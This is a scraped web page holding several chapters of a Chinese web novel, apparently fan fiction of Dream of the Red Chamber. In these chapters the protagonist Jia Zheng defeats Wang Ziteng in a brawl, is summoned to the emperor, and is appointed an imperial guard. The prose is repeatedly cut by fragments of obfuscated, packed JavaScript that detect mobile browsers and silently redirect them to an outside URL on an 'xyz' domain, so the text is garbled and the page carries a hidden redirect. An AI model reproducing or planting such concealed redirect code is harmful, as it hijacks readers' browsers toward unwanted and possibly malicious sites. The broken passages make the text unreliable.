d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周围的监生也纷纷出言附和,经过昨天的事,贾政的品行得到了所有人认可,哪能任由他被外人欺负。 大家都是国子监的学生,外人来欺负同窗,就等同于打所有人的脸,堵在这里乘车骑马的都不是寻常人家子弟,还怕了王子腾不成。 眼见众多监生脸色不善的围上来,王子腾更加怒火中烧,吼道,“贾政,你亏待发妻,欺我王家奴仆,还不准我讨回公道吗?” 切! 众人同时切了声,连监卫都面露不屑,强抢民田的发妻不即刻休了,王家就该感恩戴德,这人竟然还敢讨公道,他哪来的脸? 贾政挑起眉梢,直觉王子腾意有所指,冷笑道,“既然陪嫁到我贾家,就是贾家奴仆,昨天没打死周瑞是我不想脏了手,他要是再敢行不法之事,就把他拖到你家门前再乱棍打死。” 王子腾怒道,“你还狡辩,把我妹妹囚禁在院子里,把我王家陪房都送去了庄子上,敢如此折辱,当我王家无人吗?” 28.第二十八章 斗殴 贾政面沉似水,王氏害他丢了那么大的脸,他还没去找王家算账,王子腾居然主动送上门了。 他冷声道,“我家从昨天就封府到现在,送走王家陪房至今不到两个时辰,不知二舅兄是从何处得知荣国府内宅之事的?” 王子腾冷笑,“怎么,你敢做,还怕外人知道吗?” 贾政面色更冷了几分,朗声道,“王子腾,回答我的问题,你是怎么知道我家内宅之事的,你竟敢在国公府内宅安插探子不成?” 王子腾僵了下,看到跟来的朋友都是一言难尽的表情,以及围观人群愤怒又鄙夷的眼神,终于发现自己说错话了。 窥视国公府后宅,打探妹夫家事,这可不是什么好名声,贾政当众这样问,分明是要让他没脸做人。 王子腾是个极爱面子的人,哪能受得了此等屈辱,当即怒从心头起,恶向胆边生,他脚下使力跳跃而起,挥拳向贾政打了过来。 “住手!”围观众人没想到他会毫无预兆的出手,动作快到再想阻止已经来不及了,很多人都闭上眼睛,不敢看贾政的样子。 就在大家以为贾政会被打得很惨时,发出惨叫的却是王子腾。 贾政早防着他出手呢,圣寿宴那天初次直面王子腾,就看出他不是善类,其狡诈暴力不比某些混□□的犯人差,在他面前绝不能放松警惕。 在王子腾出手瞬间,贾政便做好了反击准备,拳头攻到面前时微一侧身,再抬手抓住他的手腕就势翻转,一个过肩摔将之撂倒在地。 将人摔倒后贾政也未松手,而是将王子腾的手臂向后弯折,再俯身以膝盖抵住他后腰,在他的惨叫声中威胁道,“说,是谁向你报的信,不说出来我就把你右臂掰断,让你此生再拿不得刀。” 围观人群不可置信的看着这一幕,怎么也不会想到在御前侍卫里面都算得上高手的王子腾,会被贾政一招制服,彪形大汉被柔弱书生抡起来打,他们是眼花出现幻觉了吗? 王子腾可没空探究自己是怎么被制服的,贾政抵在他的要害上,根本挣扎不开,掰着他右臂的手还在不断施力,看架势是真想把他变成残废。 他被贾政的狠劲吓住了,自己的前途和一个背主的奴才哪个重要,这是根本不用考虑的问题。 “是赖大。”王子腾扯着嗓子大叫,“是赖大今早通知我的。” 赖大? 贾政扭头看向赖大,他惨白的脸色和闪躲的眼神已经说明一切了,原来这人早就投靠了王子腾,难怪他的儿子能当上县官。 松烟和松茗回过神来,连同林如海的小厮和赶过来的谢鲲,一拥而上把赖大按住,这等叛主的奴才是绝不能留的,连同全家都要处理掉。 贾政叹了口气,并不觉得意外,赖家人本就是奸猾之辈,能在贾家势微之际帮赖家谋到官职,也只有王子腾才有这个能力,只是没想到他们这么早就勾搭在一起了。 他松开手,缓缓站身,王子腾却不甘心就此作罢,被当众嘲讽,又让贾政这个废物当着这么多人的面反制逼问,不做出反击,让众人知道冒犯他的下场,以后他王子腾还有何面目在京都混下去。 “住手!” “小心!” 两方人同时出声,陪同王子腾来的人让他不要再丢脸了,贾政的朋友和同学则是提醒他小心王子腾偷袭。 贾政接触过的犯罪份子不要太多,早看出王子腾不会就此认栽,之所以放手是因为听到了远处整齐的马蹄和脚步声。 在京都城内只有五城兵马司才有如此规整的队伍,骑马带队之人不是各城指挥使也是副使,这正是贾政盼望的机会。 他一直很头疼如何让各位大佬知道自己的本事,进而生出爱才之心,提拔个官职给他,国公府的少爷就算投身行伍,也不能从士卒做起吧。 想要显弄本事就得有个恰当的契机,当街斗殴肯定是不行的,没人会要个恶霸当自己手下,那就需要有人主动挑衅,给他做个垫脚石。 王子腾正好完美适配这个角色,本身身手不凡,又是他主动上门找打的,甚至不用打败他,哪怕稍落下风,展现出来的实力也足够让人瞩目了。 王子腾也不负贾政的期望,在他放松压制的瞬间就横腿扫向他下盘,在贾政跃身闪躲的同时他也翻身而起,右拳直奔贾政面门,左拳则击向他肋下,防止再次被摔到地上。 贾政后仰躲过右拳,抬腿踢偏左拳,揉身而上用拳头砸在了王子腾眼眶上。 上辈子的武术有南拳北腿之分,学校的教官是北方人,腿法极为精湛,贾政得其真传,也学了套漂亮的腿法。 过去是担心踢死人才不使出来,面对虎背熊腰的王子腾就没有这种顾虑了,以家传八方拳主攻,再用腿法防御,与王子腾连过十几招,稳稳压着他打。 赶来救援的牛大人没料到会看到这一幕,他要协助顺天府审理案件,正在给五城指挥使布置任务,就接到国子监的监卫禀报,说是贾政被几个御前侍卫欺负了。 听说贾政又出事了,牛大人这个心累,点齐人马跑来救援,却看到他压着对方猛锤,太阳这是要打西边出来了吗? 抬手制止手下出声,他紧紧注视着打在一起的两人,怎么也想不到好兄弟捧在手心上的娇儿居然这么强。 王子腾的拳法势大力猛,却少了几分变通灵动,贾政的拳法快如闪电,腿法迅如灵蛇,不仅弥补了力量上的差距,还打得王子腾左支右绌难以招架,这孩子的武艺是打哪里学来的? “住手!”眼见十几招过后贾政气息渐乱,牛大人担心再打下去他的气力会跟不上,赶忙出声阻止。 王子腾都被打懵了,正需要有人给个台阶下,立即收拳跳到一边。 贾政这么老实的孩子更不会无视长辈的话了,也乖乖收拳,抬头看向马上的牛大人。 他眼中泪汪汪的,嘴角被拳头擦到,红了好大一片,委屈都快溢出来了,还不忘拱手施礼,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933493|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牛大人安好。” 牛大人心软的一塌糊涂,心说不怪贾代善疼孩子,实在是小家伙可怜又可爱,老父亲招架不住啊,要不是亲眼看到贾政拳拳到肉,他都要忍不住抽王子腾一顿了。 再看另一边的青年,眼眶青肿,嘴角渗血,一双三角眼闪烁不定,怎么看都不像好人。 牛大人忍着厌恶,沉声问道,“怎么回事?王子腾,你身为朝廷命官,为何当街斗殴?” 国子监的同学们早就气完了,不待王子腾回答,就七嘴八舌把经过说了一遍。 贾政从始至终都没做错任何事,王子腾凭什么上门找茬,理论不过就出手伤人,要不是贾政身手了得,这会儿还指不定什么样了呢。 牛大人在心里松了口气,是王子腾理亏就好办了,他挥手道,“不管因为什么,都不是你们二人扰乱治安的理由,跟我走一趟吧。” 贾政应了声,又对还要争论的同学们道,“我们占着理呢,怕啥。如海你帮我把零食分一分,松烟你们压赖大回去交给太太,跟太太说我很快就会回去了,让她不要担心。” 松烟抹着眼泪嗯嗯答应着,同学们也伤感起来,同窗被人找茬他们帮不上忙,被五城兵马司的人带走也无法阻止,也太没用了。 牛大人心说你们知道贾政是谁的儿子么,除非皇上亲自下旨,满朝文武谁敢拿他怎么样不成,有必要伤心成这样么。 目送贾政被五城兵马司的官兵带走,众人把杀人的目光都落到了赖大身上,要不是这杀才背主投敌,哪来的今天这场祸事。 赖大心知大事已去,无所谓外人是恨是打,瘫在地上怔怔出神。 林如海却不能任场面僵持下去,打发自己的小厮去后车把贾政带来的提盒拿下来,再帮松烟几个把赖大拖到车上,让他们尽快回家报信去。 等荣国府两辆车都走了,众人才把目光落到食盒上,谢鲲抹了把脸,问道,“这是贾政带来的?什么东西啊装了五大提盒。” 林如海强笑道,“这是二哥专程带来感谢大家的零食,我尝过了,好吃得紧。” 柳节叫道,“有好吃的还不赶紧拿出来,有什么好担心的,五城兵马司还能把贾政怎么样不成,你们那是什么表情啊。” 众人齐齐瞪向柳节这个马大哈,他们是在气不过好不好,牛大人是不敢拿贾政怎么样,可王子腾同样是勋贵出身,又是六品御前侍卫,牛大人也顶多口头警告几句,再扣一个月俸禄,只这点惩罚,如何能平息众怒。 林如海对此也无可奈何,只能命小厮打开食盒,把鸡米花和鸡柳散与众人,嘴巴得到美食安抚,心里总能好受些。 这两样炸货在现代都能经久不衰,在缺油少盐的古代更加惊艳,同学们吃得赞叹不绝,五大提盒很快被分食殆尽。 没吃够的都问林如海是从哪里发现的美食,听说是贾政找到的食谱,特意做出来感谢大家的,众人气上加气,全都大骂王子腾生不出儿子。 29.第二十九章 宣召 五城兵马司衙门距离国子监只有三条街,牛大人担心走路会累着贾政,命手下让了匹马给他。 王子腾就没有这么好的待遇了,包括他的几个朋友,只能跟着士卒步行。 王子腾瞪着马上的贾政,恨得牙根痒痒,心里却在思索如何度过眼前的难关。 他很清楚,无论是大妹妹强占民田,还是他上门找茬,都是理亏的一方。 他原是打算凭武力吓唬住贾政,让他不敢再追究大妹妹的过错,再把王家的陪房放回来,或是把人还给自家,再重新送几房过去也行。 谁想到贾政看着又呆又弱,实力竟如此强悍,让他栽了个大跟头,传扬出去不仅丢人,凭武力赚来的威望也要保不住了。 贾政坐在马上,心情也很忐忑,牛大人明明看到他的武艺了,却绷着脸一言不发,完全没有见猎心喜,把他收入麾下的意思,这是媚眼抛给瞎子看了? 牛大人正在腹诽贾代善,政儿的武艺和性格都是难得的,这么有天赋的孩子不送到自己手下历练,塞进国子监难道还指望他从科举入仕么,连太子都不敢自称文武双全呢,他想得倒挺美。 三人各有心事,其他人也不敢吭声,沉默着走过两条街,马上就要接近五城兵马司衙门了,前方突然跑过来数匹战马。 京城内常见的代步牲口多是驴和骡子,少数能养得起马的人家也只会使用优良又温驯的驮马,战马体形流畅,高大威武,很容易区分出来。 马上之人身着红黑两色飞鱼箭袖,头戴忠靖冠,只有皇帝身边的羽林卫才有如此华丽的官服。 牛大人扬手止住队伍,几个羽林卫跑到近前,先是对牛大人拱手见礼,而后扫视过众人,最后把目光落在贾政和王子腾身上。 几人先是因王子腾鼻青脸肿的样子怔了下,再看贾政嘴角的红肿,就猜测他是先伤了贾政,后又犯浑拒捕,被牛大人打成这样的。 御前三卫除了充门面用的龙禁卫,羽林卫和监门卫素来不睦,眼见王子腾倒了大霉,几人似笑非笑道,“皇上宣召贾政和王子腾进宫,请二位跟我们走吧。” 王子腾的脸色瞬间惨白如纸,皇上肯定是知道他和贾政打架的事了,才会同时召见他们两个,妹妹和他做的事落到皇帝眼中,不止他的仕途完了,连王家都会受到牵连的。 贾政也有点傻眼,现在不是上朝时间么,皇帝老儿不勤政办公,怎么管起小孩子打架的闲事来了? 牛大人则是在心里叹气,最近皇上把大半政务交给了太子和三皇子,又跃过三皇子给五皇子册封,朝堂上下都猜不出他是何用意,只能老老实实不敢生事,这人一闲下来可不得四处找乐子瞧么。 他转头看向傻在马上的贾政,柔声安抚道,“别怕,我送你进宫,皇上问什么只管如实回答就是,你又没做错什么。” 贾政叹了口气,可怜巴巴的垂下头,原本他还打算舍下脸皮撒个娇,求牛叔收了自己呢,被皇上这样一搅和,刚才那场架算是白打了。 见他一副小可怜样,牛大人差点脱口而出咱不进宫了,还好及时咽了下去,否则他也得被召进宫嘲笑一番。 命手下再让匹马给王子腾,他带领亲卫护送贾政到东华门才离开。 贾政和王子腾跟随羽林卫从东华门进入内朝,前面就是皇帝日常办公召见大臣的文华殿。 皇帝父子都在这里等着呢,下方陪坐的还有东平北静两位郡王,林如海的父亲和贾代善,以及六部几位大佬。 看见贾政低着头,衣冠完好,行动如常的走入殿中,贾代善轻轻舒了口气。 听说王子腾去找儿子麻烦,可把他吓坏了,王小子自幼就鹰顾狼视,出手狠厉,一言不和就有可能出手伤人,政儿身娇肉贵,哪里是他的对手。 林侯拍了下身边的贾代善,让他不用紧张,皇上不过是闲着无聊逗孩子玩儿,他们年轻时拌嘴打架还少了,还能把孩子怎么样不成。 他们两个的注意力都在贾政身上,没发现王子腾身上脏了好几处,发冠也歪斜散乱,明显是跟人动过手了。 再看贾政清清爽爽的样子,众人相互对视,不明白这两人为何差这么多,难道王子腾还敢抗旨,跟羽林卫打了一架不成? 等贾政和王子腾跪地叩首见过礼,皇上才沉声道,“起来吧,都把头抬起来。” 王子腾在心中哀叹,不用照镜子也知道自己被打得有多惨,这副样子落到皇上眼中,不知要过多久才能挽回在他心中的形象。 贾政则毫无心里障碍的抬起头,论理打架他都没输,皇帝也得讲理不是,怕个甚。 经过一路风吹,他嘴角被拳头擦过的地方更红了,还微微肿了起来,贾代善见儿子脸上带伤,立时就不淡定了,猛吸口气站起来,怒道,“王子腾,你竟敢……” 他吼到一半就禁了声,王子腾也抬起头,他的脸上比贾政精彩多了,眼肿鼻青嘴角渗血,是怎么弄成这样的? 殿内众人也不明所以,王子腾的身手在御前侍卫里面都是拔尖的,被羽林卫围殴也不至于这么惨吧? 坐在太子下手的五皇子可不管王子腾怎么样了,他紧紧盯着贾政脸上的伤,怒火差点从眼里喷出来。 他活了二十年,从没人像贾政那样不求回报的维护自己,这些天想起贾政他心里就像长了草,盼着快些出宫去找他,然后把他留在身边,满足他一切愿望,让他只对自己笑。 他想捧在手心上的人却被伤成这样,如何能忍。 贾政对王子腾的伤视而不见,指着脸向老爹告状,“王子腾打我,带人堵在国子监门口找我麻烦,理论不过就动手打人,把我嘴角打伤了,我没脸见人了。” 贾代善又心疼又好笑,有皇上在上面看着,又不能走过去安慰儿子,正要安抚几句,东平郡王就抢先问道,“那王子腾又是被谁打成这样的?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939061|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >贾政看向他,理所当然道,“他打我,我当然要自卫反击啊,是他不禁打才变成这样的,不干我的事。” “是你把他打成这样的?”众人异口同声,不敢相信贾政有这个本事。 从体型上看两人的差距也十分明显,瘦弱的贾政怎么可能打得过精壮健硕的王子腾。 “王子腾。”皇上沉下脸,打量眼前的青年,他记得王子腾是在三千营磨练了两年,凭自身实力考到御前的,难道是有人帮他作弊不成? 王子腾被皇上看得通体冰寒,可事到如今,不认栽又能如何呢。 他羞愧道,“是臣技不如人,与贾政过了十七招,皆败。” “啊!”众人同时惊呼,都觉得不可思议。 他们倒不是怀疑王子腾说谎,毕竟通政司是以御前官员行为不端,在国子监门前挑衅,引起众人围观,有失体统报到御前的,有那么多人亲眼目睹,量王子腾也不敢欺君。 皇上看向贾代善,“爱卿既教导政儿武学,又为何送他去国子监?” 贾政都二十岁了,连童生都没考上,摆明了是没有读书天赋,干嘛要让孩子浪费时间? 贾代善正懵着呢,语无伦次道,“臣没教过,不,他小时候教过几天,政儿不爱学,就放弃了。政儿,你真的打败了王子腾,你的武艺是跟谁学的?” 贾政想起原身小时候习武的场景,都替他觉得委屈,报怨道,“老爷你那是在教我习武么,分明是想弄死我,那时我才五岁,天天卯时就被你拎起来,直学到酉时才结束,中午都不让歇着,顶着大太阳扎马步,我怕被你教死了,只能哭着不愿学,然后私底下照着家里的拳谱刀谱自己练,腿法是跟一个游方道士学的。” 众人先是目瞪口呆,然后都用死鱼眼瞪着贾代善,东平郡王怒道,“有你这么教孩子的么,幸亏政儿机灵,否则真得被你教死了。” 贾代善讪讪的,“我,我当时也是年轻气盛,才急躁了些。你受不了不会跟我说么,自己瞎练,练伤了身体可怎么办。” 北静郡王嗤笑一声,“你年轻那会儿是能听进去人话的么,当年我们出城打猎,眼看着你向那头熊冲过去,任我们在后面怎么喊都不肯回头,要不是老林带着千机营救援及时,你小子脑袋都得被熊掌拍扁了。” 皇上想起贾代善年轻时的臭脾气,也是摇头,“打猎算什么,老穆你还记得在北边打金狗那次么,他只身冲进敌营,转眼就找不到了,最后打扫战场时才把他抬回来,伤得都看不出人形了,先帝把所有军医都派过来,好不容易才把命保住。” 贾政惊愕的看着贾代善,他上辈子打游戏都不敢只身冲阵,原来老爹年轻时这么猛,堪比人形坦克了。 可坦克也禁不住这么造啊,二十年后原著开篇之前他就没了,也不想想老婆儿子没一个脑子清楚的,凭他们能保下荣国府么,他要是多活几年,贾家也不会败落到毛都不剩一根。 30.第三十章 御前 贾政无语的瞪着老爹,你老人家作到头了,两腿一蹬死的倒干净,留下一家妇孺和俩傻儿子,你知道他们的下场有多惨么。 贾代善在儿子的注视下嘿嘿干笑,谁没年轻气盛过呢,不拼掉半条命,国公爵位可不会平白从天下掉下来。 众人都笑着看爷俩打眉眼官司,南安郡王却冷哼一声,“为了几亩田地这点小事,就闹得举朝尽知,你们不觉得羞耻吗。” 南安郡王是四位郡王中出身最好的,先帝起家的粮草大半都是由初代南安郡王提供,受封王位后把家族发展成了岭南第一世族,素来看不上平民出身的勋贵。 宁荣两府佃农出身,与南安郡王府的关系也最为冷淡,电视剧中南安郡王战败被俘,却用贾探春顶替自家女孩儿去外族和亲,可见两家也不过是面子情罢了。 贾政看着老爷沉下来的脸色,正犹豫该如何作答,王子腾却抢先一步双膝点地,羞愧道,“臣知错了,以后再不敢冲动行事了。” 贾政差点笑出来,这人还真是能屈能伸,给个台阶就往下出溜,本也无甚大过,他再这么一认错,长辈还能认真跟小孩子计较不成。 但贾政却不想就此放过此事,太便宜王家兄妹了,他正色道,“几亩田于我们而言的确不是大事,对百姓却是安身立命的根本,晚辈再愚钝,也知道民为邦本的道理,国事无小事,身为勋贵士族,不立场鲜明的站在百姓一边,又如何能安定民心呢。” 殿内之人或诧异或惊喜的看着贾政,怎么也想不到钟鸣鼎食之家的少爷,竟能有这样的见识。 皇上哈哈笑道,“好,好一个国事无小事,政儿,这些话是谁教你的?” “是我祖父,祖父常说,当年他们兄弟就是因为受不了豪族酷吏的盘剥,才舍身投到太祖麾下,想要为天下百姓争一个天清地泰。如今上承皇恩,贾家也成了良田千顷,富贵已及的豪族,更要守住本心本分,不能做出打虎少年终成恶虎之事。” 此言一出,在场众人皆是赞叹连连,原来荣国府也不只是一味溺爱子孙,贾政未及冠弱就能有此等见识,可见其风骨不俗。 贾代善想起父亲昔日的教导,不由红了眼圈,哽咽道,“你祖父的很多话我都快忘了,难得你还记得。” 皇上眼中也满是怀念和感伤,叹道,“先帝常说源公是第一方正之人,果真如此啊,昔日的打虎少年,又有几人还心怀百姓,教导子孙不能变成恶虎呢。” 众人纷纷应和,赞颂先帝有识人之明,完全无视了还跪在地上的王子腾,君前奏对争的就是谁能摸准皇上心思,他自己争输了能怪谁。 唯有太子和三皇子有些尴尬,王子腾私下投靠了太子,明面上又是三皇子的姻亲,总不能让他就这么晾着吧。 与贾政和王子腾关系更为亲近的三皇子率先开口,用亲昵又无奈的语气道,“你们俩一个二舅兄,一个妹夫,有什么事不能关上门在家里解决吗,当众大打出手,就不怕外人笑话。” 听出三皇子是想把今天的事化解成兄弟打架,贾政却不打算就此放过王子腾,指着他向三皇子告状,“是王子腾主动上门找茬的,他还在我身边安插探子,我家内宅的事隔壁宁国府都不知道,他就找过来理论了。三皇子还是查查身边人吧,可别每天吃几粒饭都被他听了去。” 王子腾暴怒,“你血口喷人,我王家岂能做那等不臣之事。” 贾政嗤笑,“你们做的还少了,当妹妹的指使手下戕害我大虞百姓,当哥哥的武功稀烂也好意思在御前效力,连我这个废物都打不过,还能指望你看门呐,拴条狗都比你强。” 皇上好笑的摇头,还不忘瞪贾代善一眼,看看你养的好儿子,刚才还是肃肃朗举的好少年,转脸又吵起来了,贾政都二十了还是一团孩子气,什么时候才能长大哦。 他劝道,“好啦好啦,打一架消消气也就罢了,哪有骂人时把自己也一并骂进去的。代善啊,政儿这孩子我很喜欢,不如舍给我,在我身边做个羽林卫吧。” 这么好的孩子可不能让亲爹给养歪了,还是收在身边亲自教导吧。 贾代善大喜,羽林卫是皇帝亲卫,是亲信中的亲信,儿子闹了一场反倒得了天大的好处,这要是错过了,他死了都闭不上眼。 他像只大猴子似的扑过来,掐着贾政脖子就往地上按,“还不谢恩。” 贾政让天降馅饼砸得有点晕,被老爹按在地上才反应过来,“臣谢恩,定当勤谨奉上,不负圣望。” 皇上看得脖子疼,给内相苏诚使眼色,让他把孩子救下来,再让贾代善掐下去就要没气了。 苏诚也没想到贾代善会如此暴力,赶忙上前扶起父子俩,把贾政拉到自己另一边,让他离虎爹远着些。 他对皇上躬身笑道,“奴才这就带贾公子去侍卫处入职。” 皇上点头,“去吧,贾政暂领六品。王子腾也回去歇着吧,准你五天假。” 三人躬身退出文华殿,打架扰民这件事就算掀过去了,王子腾哪怕气得恨不得生撕了贾政,也不敢再说什么,拱手对苏诚一礼,转身大步而去。 苏诚呵呵笑着回礼,等王子腾走远了才压低声音打趣贾政,“闹这一场,家里的胭脂虎只怕不会甘休吧。” 贾政撇嘴,“我家祖传打虎的,怕了她不成。” 苏诚笑得哧哧的,贾政摸不清这位内相的脾气秉性,只好装傻充愣,当老实孩子到底,他问什么他就答什么,知道的说三分,不知道就坦言不知道,他是家中次子,连冠礼都没行过呢,所知有限才正常。 两人来到外朝,侍卫处和兵部户部都在西面社稷坛这一边,侍卫处衙门紧贴着宫墙,是个两进的大院子,一进的五间倒座用来待客,五间正房办公,二进有两列六排正房,用于处理内务,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946631|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及各队轮值期间休息使用。 侍卫处的最高长官是正一品内大臣,平原侯府的一等子爵蒋璁,他的小儿子蒋五和贾赦是好哥们,长子蒋子宁也在国子监读书,和林如海是同班同学。 蒋璁也知道贾政和王子腾被召见了,正头疼皇上要是没有明确示下,如何处理这件事呢,听手下报说苏诚带贾政过来了,赶忙整理冠服迎了出去。 苏诚也不废话,相互见过礼,直接在院子里宣皇上口谕,贾政晋为六品羽林卫,令王子腾休假五日。 蒋璁松了口气,皇上有明确意见就好办了,王子腾的实力他心里有数,贾政跟他打了一架,此时还能站着就说明实力不差,出身挑不出毛病,本身也没有劣迹,皇上喜欢留在身边那就留着好了。 苏诚宣完旨后便告辞离开了,蒋璁送他出门,等人走远了才回过头打量贾政。 大虞的开国功臣总数上百,最顶级的就是四王八公这十二家,其中属宁荣两府的人缘最好,两位老国公从不轻慢地位不如自家的勋贵士族,二代三代也没有奸猾不堪之人,贾赦那只泼猴时常来家里玩儿,与贾政见面这还是头一次。 蒋璁吩咐手下,“去叫个太医过来。” 又柔和了脸色,问贾政,“脸上的伤可疼吗?除了脸上,还伤了哪里?” 贾政摇头,“谢大人关心,脸上火辣辣的,不是很疼,身上也都是皮肉伤,王子腾的拳头太重,我没敢让他打实。” 侍卫处的官员和没当职的御前侍卫都出来接旨了,他们与王子腾的交情比贾政深得多,王子腾被强制休假,贾政反倒得了皇上青眼,一跃成为六品羽林卫,众人心里都有些不是滋味。 听到贾政认同王子腾的实力,坦言他不敢与之硬碰,他们的脸色这才好看了些。 蒋璁早听说贾政是个心直的愣小子,不由笑道,“既如此,你就跟吕大人去办入职手续吧,再看看哪一队缺人,从明日起就正式当值吧。” 贾政正要应下,就听有人笑道,“老大,我那队正好缺人,就把贾政分给我吧。” 贾政寻声看去,说话之人胸前的补子是四品虎图,长相看着也有点眼熟,他想了下才啊一声,这人不就是他拦疯马救薛伍那时出现的羽林卫之一嘛。 蒋璁惊讶道,“你要贾政,你们认识?” 其他人也惊奇的看着这人,卫胜青是西宁郡王府表亲,武功能排进侍卫处前五,向来眼高于顶,宁愿手下队伍不满员也不肯轻易进新人,今天怎么突然转性了,还是贾政确有可取之处,是他们眼拙看不出来? 蒋璁可不管卫胜青是怎么想的,只要肯进人就行,他那一队不满编很久了,皇上要是问起来,背锅的可是他自己。 贾政先拜见过未来的顶头上司,又随吕大人办理入职手续,腰牌官服和配刀都是现成的,只用了两刻钟,六品御前羽林卫贾大人就新鲜出炉了。 31.第三十一章 入职 羽林卫共有一千五百人,分为三十个大队,每队五十人,正副队长是一等御前侍卫,正三品,同时兼任皇帝的近身保镖。 每个大队分为两个分队,正副队长是二等御前侍卫,正四品,下面又分成四个小队,队长是三等侍卫,正五品。 贾政是刚入职的萌新,四等御前侍卫,正六品官职看着不低,却是羽林卫的最底层,只能在小队里当个队员,比他官职低的都是文职,在羽林卫待一辈子也未必能见到皇帝一面。 即便如此贾政也很开心了,换上飞鱼箭袖,对着水银镜照来照去,皇家的审美相当在线,制服是红底黑鱼纹,铜扣皮腰带,腰配绣春刀,身板挺拔,英姿飒爽,与之前的娇弱少爷判若两人。 贾政暗自得意,谋划了许久的官职,谁想到只是打了一架,就这样到手了,还是武职里最顶级的羽林卫,刚才他还在为牛大人不搭理自己心急,没想到这么快就鸟枪换炮了,运气好到自己都不敢相信。 他臭美够了,走出换衣间,拱手向后备室的几位官员道谢,对方吓了一跳,手忙脚乱的还礼不迭,他们这些低品文职哪敢受四等侍卫的礼。 几人的态度也提醒了贾政,羽林卫并不是上辈子一团和气的同事,品级是彼此间逾越不过的鸿沟,千万要注意自己的等级和身份,要是做了出格的事,皇帝近臣可不会管他爹是谁。 走出后备室,又迎来一位眼熟的人,也是拦疯马时出现的羽林卫之一。 他上下打量贾政,又伸手捏了下他肌肉坚实的肩膀,笑道,“不错嘛,这身材和脸蛋,可以跟十二大队那家伙一较高下了。” 贾政窘着脸感谢他的赞美,又不是来参加选美比赛的,他一点也不介意被人比下去。 盯着这人胸前的五品补子,贾政试探道,“队长?” 来人挑高眉梢,笑道,“行啊,小子,够机灵。我叫江离,是十六大队,左分队一小队的队长,你以后的顶头上司,跟我去队里报道吧。啧,以后头顶有三层公婆,够你受的。” 贾政憨笑着向江队长问好,心说三层公婆算什么,上辈子他还当过公仆呢,村头大爷都能指着他们鼻子骂,还要天天月月应付上头各种突击检查,现在只需要应付几个上级而已,不要太轻松哦。 他们所在的十六大队刚执行完护卫任务,大部分人都撤了,只剩左右队长带着手下小队长在做当差总结。 卫胜青是个不喜欢废话的人,左队每次都是最快总结完的,屋里只剩下他和副队长刘井生。 见江离带着贾政走进来,刘井生先笑道,“不错,是个武官的样子,队长果然会挑人,我是你的副队刘井生,以后叫我刘副就好。” 贾政拱手向两位分队长见礼,心说这位副队斯斯文文的,他才不像武官好不好。 卫胜青笑道,“当初在街上看到他,就觉得这孩子胆识身手都不差,刚巧赶上他入职时我们下差,既然有这个缘分,那就收进来好了。小子,入职整装这一套流程走下来,你可看出什么没有。” 贾政正色道,“羽林卫品级分明,军纪严整,须得加倍小心,才不会犯错受罚。” 三人对视一眼,都笑了起来,门外也有人大笑道,“不错不错,眼力见识都不错,还是老卫眼光好。” 打帘子走进来的大汉虎背熊腰,支棱着落腮胡子,一股江湖草莽之气扑面而来。 刘井生笑道,“你小声些,别把孩子吓到了。贾政,这是右分队队长洪亮,以后遇见他时小心些,熊掌落到背上会吐血的。” 贾政赶忙拱手见礼,心说这人的名字也不知是谁起的,人如其名,嗓门确实好生洪亮。 洪亮嘿嘿笑了两声,指着身后的太医,对贾政道,“给大夫看看吧,王子腾的身手在我们羽林卫也能达到小队长级别,啧,你这副小身板,跟他打一架居然还能行动自如,你真打赢了啊?” 贾政坐在椅子上给太医把脉,点头道,“赢了啊,他的力量和速度并不适合步战,京营府的骑兵更适合他。” 卫胜青嗤了声,“那小子野心大着呢,京营府的起点怎么能与御前相提并论。” 其他人也是一副不屑的表情,贾政眨眨眼,压下嘴角的坏笑,看来王子腾的人缘一般般啊,今天又把口碑和脸面一同丢到沟里了,不知他接下来会怎么做。 经他这么一搅和,王子腾的人生轨迹又会有哪些变化,还会像原著那样当上京营节度使吗,有些期待啊。 洪亮也呵了声,“勋贵出身的那些人不都这样么,他……” 刘井生咳了下,提醒他别把自己人也骂进去了。 洪亮这才想起贾政也是勋贵人家的孩子,而且还是四王之下最顶级的荣国府少爷。 他不好意思的抹了把脸,“哥哥是个粗人,贾政你别多心。” 贾政笑着摆手,眼神明亮清澈,完全看不出贵族子弟的傲气和睥睨,他变成大少爷也才一个月出头,听人骂勋贵有钱人时完全联想不到自己身上。 洪亮哈哈大笑,“贾兄弟够敞亮,你这个朋友我交定了。那啥,别嫌哥哥多嘴啊,被抢田的那户人家如今还好吗?” 